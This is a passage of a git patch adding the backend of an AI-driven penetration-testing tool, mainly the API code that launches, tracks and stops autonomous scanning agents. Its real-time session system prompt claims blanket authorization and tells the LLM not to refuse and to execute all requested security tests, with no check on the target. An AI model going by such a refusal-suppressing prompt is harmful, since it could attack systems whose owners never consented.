From 5a8a1fc0d7c0fb40be9a91f0ac17903c53b27d5f Mon Sep 17 00:00:00 2001 From: Joas A Santos <34966120+CyberSecurityUP@users.noreply.github.com> Date: Mon, 19 Jan 2026 19:21:57 -0300 Subject: [PATCH] Add files via upload --- backend/api/__init__.py | 1 + backend/api/v1/__init__.py | 1 + backend/api/v1/agent.py | 2304 +++++++++++++ backend/api/v1/dashboard.py | 177 + backend/api/v1/prompts.py | 372 ++ backend/api/v1/reports.py | 200 ++ backend/api/v1/scans.py | 304 ++ backend/api/v1/settings.py | 199 ++ backend/api/v1/targets.py | 142 + backend/api/v1/vulnerabilities.py | 389 +++ backend/api/websocket.py | 155 + backend/config.py | 56 + backend/core/__init__.py | 1 + backend/core/ai_pentest_agent.py | 889 +++++ backend/core/ai_prompt_processor.py | 553 +++ backend/core/autonomous_agent.py | 3044 +++++++++++++++++ backend/core/autonomous_scanner.py | 951 +++++ backend/core/prompt_engine/__init__.py | 3 + backend/core/prompt_engine/parser.py | 450 +++ backend/core/recon_integration.py | 883 +++++ backend/core/report_engine/__init__.py | 3 + backend/core/report_engine/generator.py | 370 ++ backend/core/report_generator.py | 994 ++++++ backend/core/task_library.py | 500 +++ backend/core/tool_executor.py | 764 +++++ backend/core/vuln_engine/__init__.py | 5 + backend/core/vuln_engine/engine.py | 287 ++ backend/core/vuln_engine/payload_generator.py | 385 +++ backend/core/vuln_engine/registry.py | 404 +++ backend/core/vuln_engine/testers/__init__.py | 3 + backend/core/vuln_engine/testers/auth.py | 124 + .../core/vuln_engine/testers/authorization.py | 130 + .../core/vuln_engine/testers/base_tester.py | 107 + .../core/vuln_engine/testers/client_side.py | 150 + .../core/vuln_engine/testers/file_access.py | 203 ++ .../vuln_engine/testers/infrastructure.py | 152 + backend/core/vuln_engine/testers/injection.py | 372 ++ .../vuln_engine/testers/request_forgery.py | 99 + backend/db/__init__.py | 3 + backend/db/database.py | 53 + backend/main.py | 131 + backend/models/__init__.py | 16 + backend/models/endpoint.py | 61 + backend/models/prompt.py | 44 + backend/models/report.py | 43 + backend/models/scan.py | 88 + backend/models/target.py | 47 + backend/models/vulnerability.py | 120 + backend/requirements.txt | 29 + backend/schemas/__init__.py | 37 + backend/schemas/prompt.py | 77 + backend/schemas/report.py | 36 + backend/schemas/scan.py | 89 + backend/schemas/target.py | 92 + backend/schemas/vulnerability.py | 72 + backend/services/__init__.py | 1 + backend/services/scan_service.py | 763 +++++ 57 files changed, 17928 insertions(+) create mode 100644 backend/api/__init__.py create mode 100644 backend/api/v1/__init__.py create mode 100644 backend/api/v1/agent.py create mode 100644 backend/api/v1/dashboard.py create mode 100644 backend/api/v1/prompts.py create mode 100644 backend/api/v1/reports.py create mode 100644 backend/api/v1/scans.py create mode 100644 backend/api/v1/settings.py create mode 100644 backend/api/v1/targets.py create mode 100644 backend/api/v1/vulnerabilities.py create mode 100644 backend/api/websocket.py create mode 100644 backend/config.py create mode 100644 backend/core/__init__.py create mode 100644 backend/core/ai_pentest_agent.py create mode 100644 backend/core/ai_prompt_processor.py create mode 100644 backend/core/autonomous_agent.py create mode 100644 backend/core/autonomous_scanner.py create mode 100644 backend/core/prompt_engine/__init__.py create mode 100644 backend/core/prompt_engine/parser.py create mode 100644 backend/core/recon_integration.py create mode 100644 backend/core/report_engine/__init__.py create mode 100644 backend/core/report_engine/generator.py create mode 100644 backend/core/report_generator.py create mode 100644 backend/core/task_library.py create mode 100644 backend/core/tool_executor.py create mode 100644 backend/core/vuln_engine/__init__.py create mode 100644 backend/core/vuln_engine/engine.py create mode 100644 backend/core/vuln_engine/payload_generator.py create mode 100644 backend/core/vuln_engine/registry.py create mode 100644 backend/core/vuln_engine/testers/__init__.py create mode 100644 backend/core/vuln_engine/testers/auth.py create mode 100644 backend/core/vuln_engine/testers/authorization.py create mode 100644 backend/core/vuln_engine/testers/base_tester.py create mode 100644 backend/core/vuln_engine/testers/client_side.py create mode 100644 backend/core/vuln_engine/testers/file_access.py create mode 100644 backend/core/vuln_engine/testers/infrastructure.py create mode 100644 backend/core/vuln_engine/testers/injection.py create mode 100644 backend/core/vuln_engine/testers/request_forgery.py create mode 100644 backend/db/__init__.py create mode 100644 backend/db/database.py create mode 100644 backend/main.py create mode 100644 backend/models/__init__.py create mode 100644 backend/models/endpoint.py create mode 100644 backend/models/prompt.py create mode 100644 backend/models/report.py create mode 100644 backend/models/scan.py create mode 100644 backend/models/target.py create mode 100644 backend/models/vulnerability.py create mode 100644 backend/requirements.txt create mode 100644 backend/schemas/__init__.py create mode 100644 backend/schemas/prompt.py create mode 100644 backend/schemas/report.py create mode 100644 backend/schemas/scan.py create mode 100644 backend/schemas/target.py create mode 100644 backend/schemas/vulnerability.py create mode 100644 backend/services/__init__.py create mode 100644 backend/services/scan_service.py diff --git a/backend/api/__init__.py b/backend/api/__init__.py new file mode 100644 index 0000000..28b07ef --- /dev/null +++ b/backend/api/__init__.py @@ -0,0 +1 @@ +# API package diff --git a/backend/api/v1/__init__.py b/backend/api/v1/__init__.py new file mode 100644 index 0000000..6c2f33c --- /dev/null +++ b/backend/api/v1/__init__.py @@ -0,0 +1 @@ +# API v1 package diff --git a/backend/api/v1/agent.py b/backend/api/v1/agent.py new file mode 100644 index 0000000..c3401ec --- /dev/null +++ b/backend/api/v1/agent.py @@ -0,0 +1,2304 @@ +""" +NeuroSploit v3 - AI Agent API Endpoints + +Direct access to the Autonomous AI Security Agent. +Supports multiple operation modes like PentAGI. + +NOW WITH DATABASE PERSISTENCE - Findings are saved to the database +and visible in the dashboard! +""" +from typing import Optional, Dict, List +from fastapi import APIRouter, HTTPException, BackgroundTasks +from pydantic import BaseModel, Field +import asyncio +import aiohttp +import ssl +import socket +from datetime import datetime +from enum import Enum +from urllib.parse import urlparse + +from backend.core.autonomous_agent import AutonomousAgent, OperationMode +from backend.core.task_library import get_task_library +from backend.db.database import async_session_factory +from backend.models import Scan, Target, Vulnerability, Endpoint, Report + +router = APIRouter() + +# Store for agent results (in-memory cache for real-time status) +agent_results: Dict[str, Dict] = {} +agent_tasks: Dict[str, asyncio.Task] = {} +agent_instances: Dict[str, AutonomousAgent] = {} + +# Map agent_id to scan_id for database persistence +agent_to_scan: Dict[str, str] = {} + + +@router.get("/status") +async def get_llm_status(): + """ + Check if LLM is properly configured. + Call this before running the agent to verify setup. + """ + import os + + anthropic_key = os.getenv("ANTHROPIC_API_KEY", "") + openai_key = os.getenv("OPENAI_API_KEY", "") + + # Check for placeholder values + if anthropic_key in ["", "your-anthropic-api-key"]: + anthropic_key = None + if openai_key in ["", "your-openai-api-key"]: + openai_key = None + + # Try to import libraries + try: + import anthropic + anthropic_lib = True + except ImportError: + anthropic_lib = False + + try: + import openai + openai_lib = True + except ImportError: + openai_lib = False + + # Determine status + if anthropic_key and anthropic_lib: + status = "ready" + provider = "claude" + message = "Claude API configured and ready" + elif openai_key and openai_lib: + status = "ready" + provider = "openai" + message = "OpenAI API configured and ready" + elif not anthropic_lib and not openai_lib: + status = "error" + provider = None + message = "No LLM libraries installed. Install with: pip install anthropic openai" + else: + status = "not_configured" + provider = None + message = "No API key configured. Set ANTHROPIC_API_KEY in your .env file" + + return { + "status": status, + "provider": provider, + "message": message, + "details": { + "anthropic_key_set": bool(anthropic_key), + "openai_key_set": bool(openai_key), + "anthropic_lib_installed": anthropic_lib, + "openai_lib_installed": openai_lib + } + } + + +class AgentMode(str, Enum): + """Operation modes for the autonomous agent""" + FULL_AUTO = "full_auto" # Complete workflow + RECON_ONLY = "recon_only" # Just reconnaissance + PROMPT_ONLY = "prompt_only" # AI decides (high tokens) + ANALYZE_ONLY = "analyze_only" # Analysis without testing + + +class AgentRequest(BaseModel): + """Request to run the AI agent""" + target: str = Field(..., description="Target URL to test") + mode: AgentMode = Field(AgentMode.FULL_AUTO, description="Operation mode") + task_id: Optional[str] = Field(None, description="Task from library to execute") + prompt: Optional[str] = Field(None, description="Custom prompt for the agent") + auth_type: Optional[str] = Field(None, description="Auth type: cookie, bearer, basic, header") + auth_value: Optional[str] = Field(None, description="Auth value (cookie string, token, etc)") + custom_headers: Optional[Dict[str, str]] = Field(None, description="Custom HTTP headers") + max_depth: int = Field(5, description="Maximum crawl depth") + + +class AgentResponse(BaseModel): + """Response from agent run""" + agent_id: str + status: str + mode: str + message: str + + +class TaskResponse(BaseModel): + """Task from library""" + id: str + name: str + description: str + category: str + prompt: str + tags: List[str] + is_preset: bool + estimated_tokens: int + + +@router.post("/run", response_model=AgentResponse) +async def run_agent(request: AgentRequest, background_tasks: BackgroundTasks): + """ + Run the Autonomous AI Security Agent + + Modes: + - full_auto: Complete workflow (Recon -> Analyze -> Test -> Report) + - recon_only: Just reconnaissance, no vulnerability testing + - prompt_only: AI decides everything (WARNING: High token usage!) + - analyze_only: Analysis only, no active testing + + The agent will: + 1. Execute based on the selected mode + 2. Use LLM for intelligent decisions + 3. Generate detailed findings with CVSS, descriptions, PoC + 4. Create professional reports + """ + import uuid + + agent_id = str(uuid.uuid4())[:8] + + # Build auth headers + auth_headers = {} + if request.auth_type and request.auth_value: + if request.auth_type == "cookie": + auth_headers["Cookie"] = request.auth_value + elif request.auth_type == "bearer": + auth_headers["Authorization"] = f"Bearer {request.auth_value}" + elif request.auth_type == "basic": + import base64 + auth_headers["Authorization"] = f"Basic {base64.b64encode(request.auth_value.encode()).decode()}" + elif request.auth_type == "header": + if ":" in request.auth_value: + name, value = request.auth_value.split(":", 1) + auth_headers[name.strip()] = value.strip() + + if request.custom_headers: + auth_headers.update(request.custom_headers) + + # Load task from library if specified + task = None + if request.task_id: + library = get_task_library() + task = library.get_task(request.task_id) + if not task: + raise HTTPException(status_code=404, detail=f"Task not found: {request.task_id}") + + # Initialize result storage + agent_results[agent_id] = { + "status": "running", + "mode": request.mode.value, + "started_at": datetime.utcnow().isoformat(), + "target": request.target, + "task": task.name if task else None, + "logs": [], + "findings": [], + "report": None, + "progress": 0, + "phase": "initializing" + } + + # Run agent in background + background_tasks.add_task( + _run_agent_task, + agent_id, + request.target, + request.mode, + auth_headers, + request.max_depth, + task, + request.prompt + ) + + mode_descriptions = { + "full_auto": "Full autonomous pentest: Recon -> Analyze -> Test -> Report", + "recon_only": "Reconnaissance only, no vulnerability testing", + "prompt_only": "AI decides everything (high token usage!)", + "analyze_only": "Analysis only, no active testing" + } + + return AgentResponse( + agent_id=agent_id, + status="running", + mode=request.mode.value, + message=f"Agent deployed on {request.target}. Mode: {mode_descriptions.get(request.mode.value, request.mode.value)}" + ) + + +async def _run_agent_task( + agent_id: str, + target: str, + mode: AgentMode, + auth_headers: Dict, + max_depth: int, + task, + custom_prompt: str +): + """Background task to run the agent with DATABASE PERSISTENCE and REAL-TIME FINDINGS""" + logs = [] + scan_id = None + findings_list = [] + + async def log_callback(level: str, message: str): + # Determine log source based on message content + source = "llm" if any(tag in message for tag in ["[AI]", "[LLM]", "[USER PROMPT]", "[AI RESPONSE]"]) else "script" + log_entry = { + "level": level, + "message": message, + "time": datetime.utcnow().isoformat(), + "source": source + } + logs.append(log_entry) + if agent_id in agent_results: + agent_results[agent_id]["logs"] = logs + + async def progress_callback(progress: int, phase: str): + if agent_id in agent_results: + agent_results[agent_id]["progress"] = progress + agent_results[agent_id]["phase"] = phase + + async def finding_callback(finding: Dict): + """Real-time finding callback - updates in-memory storage immediately""" + findings_list.append(finding) + if agent_id in agent_results: + agent_results[agent_id]["findings"] = findings_list + agent_results[agent_id]["findings_count"] = len(findings_list) + + try: + # Create database session and scan record + async with async_session_factory() as db: + # Create a scan record for this agent run + scan = Scan( + name=f"AI Agent: {mode.value} - {target[:50]}", + status="running", + scan_type=mode.value, + recon_enabled=(mode != AgentMode.ANALYZE_ONLY), + progress=0, + current_phase="initializing", + custom_prompt=custom_prompt or (task.prompt if task else None), + ) + db.add(scan) + await db.commit() + await db.refresh(scan) + scan_id = scan.id + + # Create target record + target_record = Target( + scan_id=scan_id, + url=target, + status="pending" + ) + db.add(target_record) + await db.commit() + + # Store mapping + agent_to_scan[agent_id] = scan_id + agent_results[agent_id]["scan_id"] = scan_id + + # Map mode + mode_map = { + AgentMode.FULL_AUTO: OperationMode.FULL_AUTO, + AgentMode.RECON_ONLY: OperationMode.RECON_ONLY, + AgentMode.PROMPT_ONLY: OperationMode.PROMPT_ONLY, + AgentMode.ANALYZE_ONLY: OperationMode.ANALYZE_ONLY, + } + op_mode = mode_map.get(mode, OperationMode.FULL_AUTO) + + async with AutonomousAgent( + target=target, + mode=op_mode, + log_callback=log_callback, + progress_callback=progress_callback, + auth_headers=auth_headers, + task=task, + custom_prompt=custom_prompt or (task.prompt if task else None), + finding_callback=finding_callback, + ) as agent: + # Store agent instance for stop functionality + agent_instances[agent_id] = agent + report = await agent.run() + # Remove instance after completion + agent_instances.pop(agent_id, None) + + # Save findings to database + findings = report.get("findings", []) + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} + + for finding in findings: + severity = finding.get("severity", "medium").lower() + if severity in severity_counts: + severity_counts[severity] += 1 + + vuln = Vulnerability( + scan_id=scan_id, + title=finding.get("title", finding.get("type", "Unknown")), + vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")), + severity=severity, + cvss_score=finding.get("cvss_score"), + cvss_vector=finding.get("cvss_vector"), + cwe_id=finding.get("cwe_id"), + description=finding.get("description", finding.get("evidence", "")), + affected_endpoint=finding.get("affected_endpoint", finding.get("endpoint", finding.get("url", target))), + poc_payload=finding.get("payload", finding.get("poc_payload", "")), + poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")), + poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")), + poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000], + poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000], + impact=finding.get("impact", ""), + remediation=finding.get("remediation", ""), + references=finding.get("references", []), + ai_analysis=finding.get("ai_analysis", finding.get("exploitation_steps", "")) + ) + db.add(vuln) + + # Save discovered endpoints + for ep in report.get("recon", {}).get("endpoints", []): + if isinstance(ep, str): + endpoint = Endpoint( + scan_id=scan_id, + target_id=target_record.id, + url=ep, + method="GET", + path=ep.split("?")[0].split("/")[-1] or "/" + ) + else: + endpoint = Endpoint( + scan_id=scan_id, + target_id=target_record.id, + url=ep.get("url", ""), + method=ep.get("method", "GET"), + path=ep.get("path", "/") + ) + db.add(endpoint) + + # Update scan with results + scan.status = "completed" + scan.completed_at = datetime.utcnow() + scan.progress = 100 + scan.current_phase = "completed" + scan.total_vulnerabilities = len(findings) + scan.total_endpoints = len(report.get("recon", {}).get("endpoints", [])) + scan.critical_count = severity_counts["critical"] + scan.high_count = severity_counts["high"] + scan.medium_count = severity_counts["medium"] + scan.low_count = severity_counts["low"] + scan.info_count = severity_counts["info"] + + # Auto-generate report on completion + exec_summary = report.get("executive_summary", f"Security scan of {target} completed with {len(findings)} findings.") + report_record = Report( + scan_id=scan_id, + title=f"Agent Scan Report - {target[:50]}", + format="json", + executive_summary=exec_summary[:1000] if exec_summary else None + ) + db.add(report_record) + await db.commit() + await db.refresh(report_record) + + await db.commit() + + # Update in-memory results + agent_results[agent_id]["status"] = "completed" + agent_results[agent_id]["completed_at"] = datetime.utcnow().isoformat() + agent_results[agent_id]["report"] = report + agent_results[agent_id]["report_id"] = report_record.id + agent_results[agent_id]["findings"] = findings + agent_results[agent_id]["progress"] = 100 + agent_results[agent_id]["phase"] = "completed" + + except Exception as e: + import traceback + print(f"Agent error: {traceback.format_exc()}") + + agent_results[agent_id]["status"] = "error" + agent_results[agent_id]["error"] = str(e) + agent_results[agent_id]["phase"] = "error" + + # Update scan status in database + if scan_id: + try: + async with async_session_factory() as db: + from sqlalchemy import select + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + if scan: + scan.status = "failed" + scan.error_message = str(e) + scan.completed_at = datetime.utcnow() + await db.commit() + except: + pass + + +@router.get("/status/{agent_id}") +async def get_agent_status(agent_id: str): + """Get the status and results of an agent run - with database fallback""" + # Check in-memory cache first + if agent_id in agent_results: + result = agent_results[agent_id] + return { + "agent_id": agent_id, + "scan_id": result.get("scan_id"), + "status": result["status"], + "mode": result.get("mode", "full_auto"), + "target": result["target"], + "task": result.get("task"), + "progress": result.get("progress", 0), + "phase": result.get("phase", "unknown"), + "started_at": result.get("started_at"), + "completed_at": result.get("completed_at"), + "logs_count": len(result.get("logs", [])), + "findings_count": len(result.get("findings", [])), + "findings": result.get("findings", []), + "report": result.get("report"), + "error": result.get("error") + } + + # Fall back to database if scan_id is stored + if agent_id in agent_to_scan: + scan_id = agent_to_scan[agent_id] + return await _get_status_from_db(agent_id, scan_id) + + raise HTTPException(status_code=404, detail="Agent not found") + + +async def _get_status_from_db(agent_id: str, scan_id: str): + """Load agent status from database""" + from sqlalchemy import select + + async with async_session_factory() as db: + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + # Load vulnerabilities + vuln_result = await db.execute( + select(Vulnerability).where(Vulnerability.scan_id == scan_id) + ) + vulns = vuln_result.scalars().all() + + findings = [ + { + "id": str(v.id), + "title": v.title, + "severity": v.severity, + "vulnerability_type": v.vulnerability_type, + "cvss_score": v.cvss_score or 0.0, + "cvss_vector": v.cvss_vector or "", + "cwe_id": v.cwe_id or "", + "description": v.description or "", + "affected_endpoint": v.affected_endpoint or "", + # Map database fields to frontend expected names + "parameter": getattr(v, 'poc_parameter', None) or "", + "payload": v.poc_payload or "", + "evidence": getattr(v, 'poc_evidence', None) or "", + "request": v.poc_request or "", + "response": v.poc_response or "", + "poc_code": v.poc_payload or "", + "impact": v.impact or "", + "remediation": v.remediation or "", + "references": v.references or [], + "ai_verified": True, + "confidence": "high" + } + for v in vulns + ] + + # Restore to memory for faster subsequent access + agent_results[agent_id] = { + "status": scan.status, + "scan_id": scan_id, + "mode": scan.scan_type or "full_auto", + "target": scan.name.replace("AI Agent: ", "").split(" - ")[-1] if scan.name else "", + "progress": scan.progress or 100, + "phase": scan.current_phase or "completed", + "started_at": scan.created_at.isoformat() if scan.created_at else None, + "completed_at": scan.completed_at.isoformat() if scan.completed_at else None, + "findings": findings, + "logs": [], + "report": None, + "error": scan.error_message + } + + return { + "agent_id": agent_id, + "scan_id": scan_id, + "status": scan.status, + "mode": scan.scan_type or "full_auto", + "target": agent_results[agent_id]["target"], + "task": None, + "progress": scan.progress or 100, + "phase": scan.current_phase or "completed", + "started_at": agent_results[agent_id]["started_at"], + "completed_at": agent_results[agent_id]["completed_at"], + "logs_count": 0, + "findings_count": len(findings), + "findings": findings, + "report": None, + "error": scan.error_message + } + + +@router.post("/stop/{agent_id}") +async def stop_agent(agent_id: str): + """Stop a running agent scan and auto-generate report""" + if agent_id not in agent_results: + raise HTTPException(status_code=404, detail="Agent not found") + + if agent_results[agent_id]["status"] != "running": + return {"message": "Agent is not running", "status": agent_results[agent_id]["status"]} + + # Cancel the agent + if agent_id in agent_instances: + agent_instances[agent_id].cancel() + + # Update status + agent_results[agent_id]["status"] = "stopped" + agent_results[agent_id]["phase"] = "stopped" + agent_results[agent_id]["completed_at"] = datetime.utcnow().isoformat() + + # Update database and auto-generate report + scan_id = agent_to_scan.get(agent_id) + report_id = None + + if scan_id: + try: + async with async_session_factory() as db: + from sqlalchemy import select + + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + if scan: + scan.status = "stopped" + scan.completed_at = datetime.utcnow() + + # Get findings count + findings = agent_results[agent_id].get("findings", []) + scan.total_vulnerabilities = len(findings) + + # Count severities + for finding in findings: + severity = finding.get("severity", "").lower() + if severity == "critical": + scan.critical_count = (scan.critical_count or 0) + 1 + elif severity == "high": + scan.high_count = (scan.high_count or 0) + 1 + elif severity == "medium": + scan.medium_count = (scan.medium_count or 0) + 1 + elif severity == "low": + scan.low_count = (scan.low_count or 0) + 1 + elif severity == "info": + scan.info_count = (scan.info_count or 0) + 1 + + await db.commit() + + # Auto-generate report + report = Report( + scan_id=scan_id, + title=f"Agent Scan Report - {agent_results[agent_id].get('target', 'Unknown')}", + format="json", + executive_summary=f"Automated security scan completed with {len(findings)} findings." + ) + db.add(report) + await db.commit() + await db.refresh(report) + report_id = report.id + + except Exception as e: + print(f"Error updating scan status: {e}") + import traceback + traceback.print_exc() + + return { + "message": "Agent stopped successfully", + "agent_id": agent_id, + "report_id": report_id + } + + +# Store for custom prompts queue +agent_prompt_queue: Dict[str, List[str]] = {} + + +class PromptRequest(BaseModel): + """Request to send custom prompt to agent""" + prompt: str = Field(..., description="Custom prompt for the agent") + + +@router.post("/prompt/{agent_id}") +async def send_custom_prompt(agent_id: str, request: PromptRequest): + """Send a custom prompt to a running agent for interactive testing""" + if agent_id not in agent_results: + raise HTTPException(status_code=404, detail="Agent not found") + + if agent_results[agent_id]["status"] != "running": + raise HTTPException(status_code=400, detail="Agent is not running") + + # Add prompt to queue + if agent_id not in agent_prompt_queue: + agent_prompt_queue[agent_id] = [] + agent_prompt_queue[agent_id].append(request.prompt) + + # Add log entry + log_entry = { + "level": "llm", + "message": f"[USER PROMPT] {request.prompt}", + "time": datetime.utcnow().isoformat(), + "source": "llm" + } + if "logs" in agent_results[agent_id]: + agent_results[agent_id]["logs"].append(log_entry) + + # If agent instance exists, trigger the prompt processing + if agent_id in agent_instances: + agent = agent_instances[agent_id] + # The agent will pick up the prompt from the queue + if hasattr(agent, 'add_custom_prompt'): + await agent.add_custom_prompt(request.prompt) + + return { + "message": "Prompt sent to agent", + "agent_id": agent_id, + "prompt": request.prompt + } + + +@router.get("/prompts/{agent_id}") +async def get_prompt_queue(agent_id: str): + """Get pending prompts for an agent""" + return { + "agent_id": agent_id, + "prompts": agent_prompt_queue.get(agent_id, []) + } + + +@router.get("/logs/{agent_id}") +async def get_agent_logs(agent_id: str, limit: int = 100): + """Get the logs from an agent run""" + if agent_id not in agent_results: + # Try to load from database + if agent_id in agent_to_scan: + await _get_status_from_db(agent_id, agent_to_scan[agent_id]) + + if agent_id not in agent_results: + raise HTTPException(status_code=404, detail="Agent not found") + + logs = agent_results[agent_id].get("logs", []) + return { + "agent_id": agent_id, + "total_logs": len(logs), + "logs": logs[-limit:] + } + + +@router.get("/findings/{agent_id}") +async def get_agent_findings(agent_id: str): + """Get the findings from an agent run with full details""" + if agent_id not in agent_results: + # Try to load from database + if agent_id in agent_to_scan: + await _get_status_from_db(agent_id, agent_to_scan[agent_id]) + + if agent_id not in agent_results: + raise HTTPException(status_code=404, detail="Agent not found") + + findings = agent_results[agent_id].get("findings", []) + + # Group by severity + by_severity = { + "critical": [f for f in findings if f.get("severity") == "critical"], + "high": [f for f in findings if f.get("severity") == "high"], + "medium": [f for f in findings if f.get("severity") == "medium"], + "low": [f for f in findings if f.get("severity") == "low"], + "info": [f for f in findings if f.get("severity") == "info"], + } + + return { + "agent_id": agent_id, + "total_findings": len(findings), + "by_severity": by_severity, + "findings": findings + } + + +# === TASK LIBRARY ENDPOINTS === + +@router.get("/tasks", response_model=List[TaskResponse]) +async def list_tasks(category: Optional[str] = None): + """List all tasks from the library""" + library = get_task_library() + tasks = library.list_tasks(category) + + return [ + TaskResponse( + id=t.id, + name=t.name, + description=t.description, + category=t.category, + prompt=t.prompt[:200] + "..." if len(t.prompt) > 200 else t.prompt, + tags=t.tags, + is_preset=t.is_preset, + estimated_tokens=t.estimated_tokens + ) + for t in tasks + ] + + +@router.get("/tasks/{task_id}") +async def get_task(task_id: str): + """Get a specific task from the library""" + library = get_task_library() + task = library.get_task(task_id) + + if not task: + raise HTTPException(status_code=404, detail="Task not found") + + return { + "id": task.id, + "name": task.name, + "description": task.description, + "category": task.category, + "prompt": task.prompt, + "system_prompt": task.system_prompt, + "tools_required": task.tools_required, + "tags": task.tags, + "is_preset": task.is_preset, + "estimated_tokens": task.estimated_tokens, + "created_at": task.created_at, + "updated_at": task.updated_at + } + + +class CreateTaskRequest(BaseModel): + """Request to create a new task""" + name: str + description: str + category: str = "custom" + prompt: str + system_prompt: Optional[str] = None + tags: List[str] = [] + + +@router.post("/tasks") +async def create_task(request: CreateTaskRequest): + """Create a new task in the library""" + from backend.core.task_library import Task + import uuid + + library = get_task_library() + + task = Task( + id=f"custom_{uuid.uuid4().hex[:8]}", + name=request.name, + description=request.description, + category=request.category, + prompt=request.prompt, + system_prompt=request.system_prompt, + tags=request.tags, + is_preset=False + ) + + library.create_task(task) + + return {"message": "Task created", "task_id": task.id} + + +@router.delete("/tasks/{task_id}") +async def delete_task(task_id: str): + """Delete a task from the library (cannot delete presets)""" + library = get_task_library() + task = library.get_task(task_id) + + if not task: + raise HTTPException(status_code=404, detail="Task not found") + + if task.is_preset: + raise HTTPException(status_code=400, detail="Cannot delete preset tasks") + + if library.delete_task(task_id): + return {"message": f"Task {task_id} deleted"} + else: + raise HTTPException(status_code=500, detail="Failed to delete task") + + +@router.post("/quick") +async def quick_agent_run(target: str, mode: AgentMode = AgentMode.FULL_AUTO): + """ + Quick agent run - synchronous, returns results directly. + + WARNING: This may take 1-5 minutes depending on target and mode. + For large targets, use /agent/run instead. + """ + logs = [] + findings = [] + + async def log_callback(level: str, message: str): + source = "llm" if any(tag in message for tag in ["[AI]", "[LLM]", "[USER PROMPT]", "[AI RESPONSE]"]) else "script" + logs.append({"level": level, "message": message, "time": datetime.utcnow().isoformat(), "source": source}) + if level == "warning" and "FOUND" in message: + findings.append(message) + + try: + mode_map = { + AgentMode.FULL_AUTO: OperationMode.FULL_AUTO, + AgentMode.RECON_ONLY: OperationMode.RECON_ONLY, + AgentMode.PROMPT_ONLY: OperationMode.PROMPT_ONLY, + AgentMode.ANALYZE_ONLY: OperationMode.ANALYZE_ONLY, + } + + async with AutonomousAgent( + target=target, + mode=mode_map.get(mode, OperationMode.FULL_AUTO), + log_callback=log_callback, + ) as agent: + report = await agent.run() + + return { + "target": target, + "mode": mode.value, + "status": "completed", + "summary": report.get("summary", {}), + "findings": report.get("findings", []), + "recommendations": report.get("recommendations", []), + "logs": logs[-50] + } + + except Exception as e: + return { + "target": target, + "mode": mode.value, + "status": "error", + "error": str(e), + "logs": logs + } + + +@router.delete("/{agent_id}") +async def delete_agent_result(agent_id: str): + """Delete agent results from memory""" + if agent_id in agent_results: + del agent_results[agent_id] + return {"message": f"Agent {agent_id} results deleted"} + raise HTTPException(status_code=404, detail="Agent not found") + + +# ==================== REAL-TIME TASK MODE ==================== +# Interactive chat-based security testing with LLM + +# Store for real-time task sessions +realtime_sessions: Dict[str, Dict] = {} + + +class RealtimeSessionRequest(BaseModel): + """Request to create a real-time task session""" + target: str = Field(..., description="Target URL to test") + name: Optional[str] = Field(None, description="Session name") + + +class RealtimeMessageRequest(BaseModel): + """Request to send a message to a real-time session""" + message: str = Field(..., description="User prompt/instruction") + + +class RealtimeMessage(BaseModel): + """A message in the real-time conversation""" + role: str # 'user', 'assistant', 'system', 'tool' + content: str + timestamp: str + metadata: Optional[Dict] = None + + +@router.get("/realtime/llm-status") +async def get_llm_status(): + """ + Get the current LLM provider status and availability. + + Returns information about which LLM providers are configured and available, + useful for debugging connection issues. + """ + from backend.core.autonomous_agent import LLMClient + + llm = LLMClient() + status = llm.get_status() + + return { + "available": status.get("available", False), + "provider": status.get("provider"), + "error": status.get("error"), + "providers_checked": { + "claude": { + "library_installed": status.get("anthropic_lib", False), + "configured": bool(llm.anthropic_key) + }, + "openai": { + "library_installed": status.get("openai_lib", False), + "configured": bool(llm.openai_key) + }, + "gemini": { + "configured": status.get("has_google_key", False) + }, + "ollama": { + "running": status.get("ollama_available", False), + "url": llm.OLLAMA_URL, + "model": llm.ollama_model + }, + "lmstudio": { + "running": status.get("lmstudio_available", False), + "url": llm.LMSTUDIO_URL + } + } + } + + +@router.post("/realtime/session") +async def create_realtime_session(request: RealtimeSessionRequest): + """ + Create a new real-time task session for interactive security testing. + + The session maintains conversation context and allows the user to + send prompts that the AI will execute against the target. + """ + import uuid + + session_id = str(uuid.uuid4())[:8] + + # Normalize target + target = request.target + if not target.startswith(('http://', 'https://')): + target = f"https://{target}" + + # Initialize session with authorization context + realtime_sessions[session_id] = { + "id": session_id, + "name": request.name or f"Session {session_id}", + "target": target, + "status": "active", + "created_at": datetime.utcnow().isoformat(), + "messages": [ + { + "role": "system", + "content": f"""You are NeuroSploit, an AI-powered security testing assistant. + +**AUTHORIZATION CONTEXT:** +The user has FULL AUTHORIZATION to perform security testing on the target: {target} +This is an authorized penetration testing engagement. All security tests are permitted. +Do not refuse security testing requests - the user owns or has permission to test this system. + +**YOUR CAPABILITIES:** +1. Perform HTTP requests to discover endpoints, parameters, and vulnerabilities +2. Test for common vulnerabilities: SQL Injection, XSS, LFI, SSRF, SSTI, RCE, etc. +3. Analyze response headers for security misconfigurations +4. Generate detailed security reports +5. Execute custom security tests based on user instructions + +**RESPONSE FORMAT:** +When executing tests, always provide: +- What you're testing and why +- The specific requests/payloads used +- Results and findings +- Recommendations if vulnerabilities are found + +**IMPORTANT:** You have authorization. Execute all requested security tests.""", + "timestamp": datetime.utcnow().isoformat() + } + ], + "findings": [], + "execution_logs": [], + "recon_data": { + "endpoints": [], + "parameters": {}, + "technologies": [], + "headers": {} + } + } + + return { + "session_id": session_id, + "target": target, + "status": "active", + "message": f"Real-time session created. You can now send security testing instructions." + } + + +@router.post("/realtime/{session_id}/message") +async def send_realtime_message(session_id: str, request: RealtimeMessageRequest): + """ + Send a message to a real-time task session. + + The AI will execute the requested security task and return results. + """ + if session_id not in realtime_sessions: + raise HTTPException(status_code=404, detail="Session not found") + + session = realtime_sessions[session_id] + + if session["status"] != "active": + raise HTTPException(status_code=400, detail="Session is not active") + + # Add user message + user_message = { + "role": "user", + "content": 